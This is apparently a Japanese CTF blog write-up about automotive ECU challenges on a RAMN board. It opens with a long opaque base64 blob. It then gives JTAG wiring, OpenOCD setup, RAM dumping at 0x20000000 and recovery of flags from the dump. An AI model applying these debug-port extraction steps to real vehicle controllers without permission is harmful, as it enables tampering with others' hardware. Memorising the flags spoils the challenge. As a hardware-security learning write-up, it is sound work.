MHg4MywweDgxLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MywweDgyLDB4ODEsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MywweDgyLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgzLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MywweDgyLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODEsMHg4MywweDgwLDB4ODIsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgzLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MywweDgyLDB4ODEsMHg4MCwweDgyLDB4ODIsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODIsMHg4MiwweDgxLDB4ODMsMHg4MSwweDgwLDB4ODIsMHg4MywweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODMsMHg4MywweDgzLDB4ODEsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgwLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MywweDgzLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgyLDB4ODEsMHg4MSwweDgzLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MiwweDgxLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgyLDB4ODIsMHg4MiwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODEsMHg4MywweDgzLDB4ODMsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgyLDB4ODAsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MCwweDgyLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MywweDgxLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODAsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODAsMHg4MCwweDgzLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MiwweDgxLDB4ODIsMHg4MywweDgzLDB4ODAsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MSwweDgzLDB4ODIsMHg4MywweDgyLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgwLDB4ODAsMHg4MywweDgzLDB4ODAsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgzLDB4ODAsMHg4MywweDgyLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgzLDB4ODEsMHg4MywweDgxLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MSwweDgyLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MSwweDgzLDB4ODIsMHg4MiwweDgyLDB4ODMsMHg4MiwweDgxLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgwLDB4ODAsMHg4MywweDgwLDB4ODEsMHg4MiwweDgyLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MywweDgxLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MywweDgxLDB4ODEsMHg4MywweDgwLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgwLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MywweDgyLDB4ODIsMHg4MCwweDgwLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgxLDB4ODEsMHg4MywweDgxLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODEsMHg4MywweDgyLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MywweDgzLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODIsMHg4MiwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgwLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MywweDgxLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MCwweDgwLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgxLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MiwweDgxLDB4ODEsMHg4MiwweDgwLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODMsMHg4MiwweDgxLDB4ODIsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MSwweDgzLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgzLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MiwweDgzLDB4ODMsMHg4MywweDgxLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MywweDgxLDB4ODIsMHg4MCwweDgwLDB4ODEsMHg4MiwweDgyLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MywweDgxLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgyLDB4ODIsMHg4MywweDgxLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgxLDB4ODAsMHg4MSwweDgzLDB4ODAsMHg4MywweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MiwweDgzLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MiwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgyLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MywweDgzLDB4ODAsMHg4MiwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODEsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgwLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MCwweDgyLDB4ODAsMHg4MywweDgxLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MSwweDgwLDB4ODAsMHg4MiwweDgzLDB4ODAsMHg4MiwweDgzLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODAsMHg4MywweDgzLDB4ODMsMHg4MSwweDgyLDB4ODEsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MiwweDgwLDB4ODEsMHg4MywweDgyLDB4ODAsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MywweDgxLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MiwweDgwLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODMsMHg4MywweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgxLDB4ODMsMHg4MywweDgyLDB4ODAsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODMsMHg4MywweDgxLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgwLDB4ODAsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgzLDB4ODAsMHg4MywweDgwLDB4ODIsMHg4MiwweDgyLDB4ODEsMHg4MSwweDgxLDB4ODEsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MCwweDgyLDB4ODMsMHg4MiwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgxLDB4ODIsMHg4MiwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgwLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODAsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgxLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODEsMHg4MSwweDgyLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MSwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MywweDgwLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgxLDB4ODAsMHg4MiwweDgwLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgxLDB4ODEsMHg4MywweDgzLDB4ODMsMHg4MiwweDgxLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MCwweDgwLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODEsMHg4MywweDgwLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgyLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgwLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgxLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MywweDgxLDB4ODEsMHg4MywweDgxLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgyLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgyLDB4ODEsMHg4MSwweDgyLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MCwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MCwweDgyLDB4ODIsMHg4MiwweDgyLDB4ODMsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgzLDB4ODEsMHg4MywweDgwLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgxLDB4ODEsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgyLDB4ODMsMHg4MSwweDgxLDB4ODEsMHg4MywweDgwLDB4ODEsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MywweDgxLDB4ODIsMHg4MSwweDgyLDB4ODAsMHg4MiwweDgwLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MywweDgwLDB4ODAsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MSwweDgzLDB4ODMsMHg4MywweDgyLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgyLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgxLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MSwweDgxLDB4ODEsMHg4MiwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODAsMHg4MiwweDgxLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgxLDB4ODIsMHg4MCwweDgwLDB4ODMsMHg4MiwweDgyLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgxLDB4ODMsMHg4MSwweDgzLDB4ODIsMHg4MywweDgzLDB4ODAsMHg4MSwweDgyLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgwLDB4ODIsMHg4MywweDgzLDB4ODIsMHg4MCwweDgyLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgxLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODMsMHg4MSwweDgzLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MywweDgzLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODAsMHg4MiwweDgyLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MiwweDgxLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgyLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MywweDgwLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MywweDgyLDB4ODMsMHg4MywweDgwLDB4ODMsMHg4MCwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODEsMHg4MywweDgwLDB4ODIsMHg4MCwweDgyLDB4ODIsMHg4MSwweDgwLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MSwweDgyLA&ieol=CRLF

ということで前問から10分も経たずに解けた。bh{J0KE_PIquANT}

[ECU D] JTAG

フラグはJTAGインターフェースからECU DのRAMから読み取れます。
注意: この問題を解くためにopenocdが使用できます。

JTAGは出ますという事前アナウンスが直前にあったので、JTAGで接続してOpenOCDを使う流れを素振りしていた。おかげで本番はスムーズに解けた。この記事を丸ごとコピーしてできるようにしておいた。

結線する

今回自分が使ったC232HM-DDHSL-0は片方がJTAG用の端子で、片方がPCに刺せるようにUSBになっている。よって、最初はRAMNのECU Dに対して正しくJTAG用に結線することから始まる。 この記事にC232HM-DDHSL-0の色と用途のマッピングの図が書いてある。以下のような感じで刺せばいいと分かる。

ORANGE → TCK
YELLOW → TDI
GREEN → TDO
BROWN → TMS
GREY → TRST
BLACK → GND

次はRAMNのECU D側でどこに刺すかという部分であるが、コンテストサイトのnotificationsを見ると、拡張ポートからのみ接続するよう指示があった。RAMNの拡張ポートのページを見てみると、ECU Dのピン配置の番号と、各番号が何に対応しているかの図が書いてあった。それを参考にすると、以下のように結線すればいいことが分かる。

ORANGE → TCK → 24
YELLOW → TDI → 23
GREEN → TDO → 25
BROWN → TMS → 22
GREY → TRST → 26
BLACK → GND → 4

OpenOCDを使う

これで物理的な準備は整ったのでもう片方のUSB端子をPCにつないでOpenOCDを起動させていく。OpenOCDを起動させるにはインターフェースの設定ファイルと、マイコンの設定ファイルを用意する必要がある。

インターフェースの設定ファイルは、つまりは、C232HM-DDHSL-0の設定ファイルということになる。この点については、このページにある機器と同じものを使っているので、このページのc232hm-edhsl-0.cfgを使えばよい。

マイコンの設定ファイルを探してくる必要がある。コンテストサイトのnotificationsを見るとECUのマイコンはSTM32L552です。とあるので、STM32L552用を探してくる。この辺りの良くまとまっているサイトからstm32ほにゃらら.cfgを持ってきて試すもうまくいかない。エラーが出る。

エラーメッセージからトラブルシューティングしているとこのようなサイトが見つかる。確かにこの箇所が原因でエラーが出ているようだった。自力で直そうかと思ったが、この記事の人が既に修正したものを配布してくれていた。ここからOpenOCD spesific MCU-Aimed cfg files Nemuisan Specialをダウンロードしてきて色々試すと、OpenOCD_cfgs/tcl/target/stm32l1x_flash.cfgでOpenOCDの起動に成功!!!

インターフェースとマイコンの設定ファイルを持ってきて sudo openocd -f c232hm-edhsl-0.cfg -f stm32l1x_flash.cfg で起動する。

telnet経由でRAMから読み出す

telnet経由で謎のコンソールが立ち上がるのでメモリを取り出そうとしてみるが権限エラーになる。ちゃんとRAMの場所を指定する必要があるようだ。色々インターネットを探すとこのような記事が見つかる。ここに書いてある0x20000000を試すとRAMを読み出すことが出来た!

> mdw 0x20000000 0x1000
0x20000000: 0000027f 00000000 00000000 00000008 00000000 00000000 00000000 00000000 
0x20000020: 00000000 00000001 99f8b879 0000027a 00000000 00000000 00000001 00000000 
0x20000040: 00000000 00000000 00000000 00000000 00027f04 00000000 00000000 00000800 
0x20000060: 00000000 00000000 00000000 00000000 00000000 00000100 ff88ef01 00027aee 
...

ダンプできたメモリからフラグを探す

とりあえず0x20000000~0x2000bfa0くらいまでは取れたので、バイナリにする。それをstringsしてみるとS{hbLTOP_SSEARCSといういかにも怪しい文字列が出てくるので、その辺りを見てみると以下のようになっていた。

$ hd dump.bin | grep S{hb -A 2
0000a020  53 7b 68 62 4c 54 4f 50  5f 53 53 45 41 52 43 53  |S{hbLTOP_SSEARCS|
0000a030  00 7d 4c 57 06 99 f5 3a  d8 32 de 54 f0 61 eb c3  |.}LW...:.2.T.a..|
0000a040  cf 0a de f9 9b cd f2 db  a1 4e ad 8b a3 56 15 1f  |.........N...V..|

4バイトごとにリトルエンディアンのような感じで変換するとフラグになる。bh{SPOTLESS_SCRAWL}

[ECU B] RAM peak 解けなかった

4時間くらいひたすら取り組んでいました。あまりに解けないのでkusanoさんが

  • 与えられているWifiの紙に何かヒントがあるのではないか?
  • もしかして、Flag flag -> 0x466c6167 0x666c6167…か?

をしていて面白かった。